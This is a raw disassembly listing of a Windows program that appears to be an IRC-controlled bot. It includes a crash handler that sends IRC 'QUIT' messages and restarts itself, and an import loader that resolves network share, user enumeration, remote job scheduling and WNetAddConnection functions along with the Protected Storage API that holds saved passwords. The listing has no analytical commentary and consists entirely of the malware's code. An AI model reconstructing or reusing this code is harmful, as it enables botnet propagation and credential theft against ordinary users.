loc_4033F1:				; CODE XREF: sub_40332B+9Bj
		mov	[ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_4033FA:				; CODE XREF: sub_40332B+51j
		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset aLast	; "#last"
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	ds:dword_41705C	; ExitProcess


loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	ds:dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_2E], ax


loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1


loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6


loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	ds:dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_E], ax


loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4


loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1


loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6


loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	ds:dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	ds:dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	ds:dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	ds:dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	ds:dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	ds:dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	ds:dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: .text:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE40, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE48, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE4C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE50, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE54, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE58, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE5C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE60, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE64, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE68, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE6C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE70, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE74, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE78, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE84, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE88, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE8C, eax
		cmp	dword_41DE84, 0
		jz	short loc_403D85
		cmp	dword_41DE88, 0
		jz	short loc_403D85
		cmp	dword_41DE8C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DE84, offset sub_403588
		mov	dword_41DE88, offset sub_4038BA
		mov	dword_41DE8C, offset sub_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE80, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	ds:dword_417058	; GetProcAddress
		mov	dword_41DE7C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
